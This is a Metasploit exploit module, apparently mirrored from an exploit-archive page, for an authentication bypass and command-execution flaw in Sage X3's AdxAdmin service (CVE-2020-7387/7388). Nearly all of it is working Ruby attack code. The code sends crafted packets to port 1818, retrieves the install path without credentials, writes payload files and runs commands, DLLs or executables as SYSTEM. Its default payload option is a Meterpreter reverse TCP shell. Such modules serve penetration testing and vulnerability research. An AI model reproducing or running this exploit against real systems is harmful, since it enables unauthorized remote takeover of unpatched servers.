Share
## https://sploitus.com/exploit?id=PACKETSTORM:163624
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution',  
'Description' => %q{  
This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration  
protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an  
available AdxAdmin service.  
},  
'Author' => [  
'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk  
'Aaron Herndon' # @ac3lives  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2021-07-07',  
'References' =>  
[  
['CVE', '2020-7387'], # Infoleak  
['CVE', '2020-7388'], # RCE  
['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/generic',  
'CMD' => 'whoami'  
}  
}  
],  
[  
'Windows DLL',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Executable',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [FIRST_ATTEMPT_FAIL],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(1818)  
]  
)  
end  
  
def vprint(msg = '')  
print(msg) if datastore['VERBOSE']  
end  
  
def check  
s = connect  
print_status('Connected')  
  
# ADXDIR command authentication header  
# allows for unauthenticated retrieval of X3 directory  
auth_packet = "\x09\x00"  
s.write(auth_packet)  
  
# recv response  
res = s.read(1024)  
  
if res.nil? || res.length != 4  
print_bad('ADXDIR authentication failed')  
return CheckCode::Safe  
end  
  
if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"]  
print_bad('ADXDIR authentication failed')  
return CheckCode::Safe  
end  
  
print_good('ADXDIR authentication successful.')  
  
# ADXDIR command  
adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00"  
s.write(adx_dir_msg)  
directory = s.read(1024)  
  
return CheckCode::Safe if directory.nil?  
  
sagedir = directory[4..-2]  
print_good(format('Received directory info from host: %s', sagedir))  
disconnect  
  
CheckCode::Vulnerable(details: { sagedir: sagedir })  
rescue Rex::ConnectionError  
CheckCode::Unknown  
end  
  
def build_buffer(head, sage_payload, tail)  
buffer = ''  
  
# do things  
buffer << head if head  
buffer << sage_payload.length  
buffer << sage_payload  
buffer << tail if tail  
  
buffer  
end  
  
def write_file(sock, filenum, sage_payload, target, sagedir)  
s = sock  
  
# building the initial authentication packet  
# [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH]  
# Note: the first byte of this auth packet is different from the ADXDIR command  
  
revsagedir = sagedir.gsub('\\', '/')  
  
s.write("\x06\x00")  
auth_resp = s.read(1024)  
  
fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4  
  
print_good('Command authentication successful.')  
  
# May require additional information such as file path  
# this will be used for multiple messages  
  
head = "\x00\x00\x36\x02\x00\x2e\x00" # head  
fmt = '@%s/tmp/cmd%s$cmd'  
fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL'  
fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable'  
pload = format(fmt, revsagedir, filenum)  
tail = "\x00\x03\x00\x01\x77"  
sendbuf = build_buffer(head, pload, tail)  
s.write(sendbuf)  
s.read(1024)  
  
# Packet --- 3  
# Creating the packet that contains the command to run  
head = "\x02\x00\x05\x08\x00\x00\x00"  
  
# this writes the data to the .cmd file to get executed  
# a single write can't be larger than ~250 bytes  
# so writes larger than 250 need to be broken up  
written = 0  
print_status('Writing data')  
  
while written < sage_payload.length  
vprint('.')  
  
towrite = sage_payload[written..written + 250]  
sendbuf = build_buffer(head, towrite, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
written += towrite.length  
end  
  
vprint("\r\n")  
end  
  
def exploit  
sage_payload = payload.encoded if target.name == 'Windows Command'  
sage_payload = generate_payload_dll if target.name == 'Windows DLL'  
sage_payload = generate_payload_exe if target.name == 'Windows Executable'  
  
sagedir = check.details[:sagedir]  
  
if sagedir.nil?  
fail_with(Failure::NotVulnerable,  
'No directory was returned by the remote host, may not be vulnerable')  
end  
  
if sagedir.end_with?('AdxAdmin')  
register_dir_for_cleanup("#{sagedir}\\tmp")  
end  
  
revsagedir = sagedir.gsub('\\', '/')  
  
filenum = rand_text_numeric(8)  
vprint_status(format('Using generated filename: %s', filenum))  
  
s = connect  
  
write_file(s, filenum, sage_payload, target.name, sagedir)  
  
unless target.name == 'Windows Command'  
disconnect  
# re-establish connection after writing file  
s = connect  
end  
  
if target.name == 'Windows DLL'  
sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0"  
vprint_status(sage_payload)  
write_file(s, filenum, sage_payload, nil, sagedir)  
end  
  
if target.name == 'Windows Executable'  
sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe"  
vprint_status(sage_payload)  
write_file(s, filenum, sage_payload, nil, sagedir)  
end  
  
# Some sort of delimiter  
delim0 = "\x02\x00\x01\x01" # bufm  
s.write(delim0)  
s.recv(1024)  
  
# Packet --- 4  
sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd"  
head = "\x00\x00\x37\x02\x00\x2f\x00"  
tail = "\x00\x03\x00\x01\x77"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- 5  
head = "\x02\x00\x05\x08\x00\x00\x00"  
sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on"  
sendbuf = build_buffer(head, sage_payload, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- Delim  
s.write(delim0)  
s.recv(1024)  
  
# Packet --- 6  
head = "\x00\x00\x36\x04\x00\x2e\x00"  
sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd"  
tail = "\x00\x03\x00\x01\x72"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
# if it's not COMMAND, we can stop here  
# otherwise, we'll send/recv the last bit  
# of info for the output  
unless target.name == 'Windows Command'  
disconnect  
return  
end  
  
# Packet --- Delim  
delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00"  
s.write(delim1)  
s.recv(1024)  
  
# Packet --- Delim  
s.write(delim0)  
s.recv(1024)  
  
# The two below are directing the server to read from the .out file that should have been created  
# Then we get the output back  
# Packet --- 7 - Still works when removed.  
head = "\x00\x00\x2f\x07\x08\x00\x2b\x00"  
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"  
sendbuf = build_buffer(head, sage_payload, nil)  
s.write(sendbuf)  
s.recv(1024)  
  
# Packet --- 8  
head = "\x00\x00\x33\x02\x00\x2b\x00"  
sage_payload = "@#{revsagedir}/tmp/#{filenum}$out"  
tail = "\x00\x03\x00\x01\x72"  
sendbuf = build_buffer(head, sage_payload, tail)  
s.write(sendbuf)  
s.recv(1024)  
  
s.write(delim1)  
returned_data = s.recv(8096).strip!  
  
if returned_data.nil? || returned_data.empty?  
disconnect  
fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again')  
end  
  
print_good('------------ Response Received ------------')  
print_status(returned_data)  
disconnect  
end  
  
end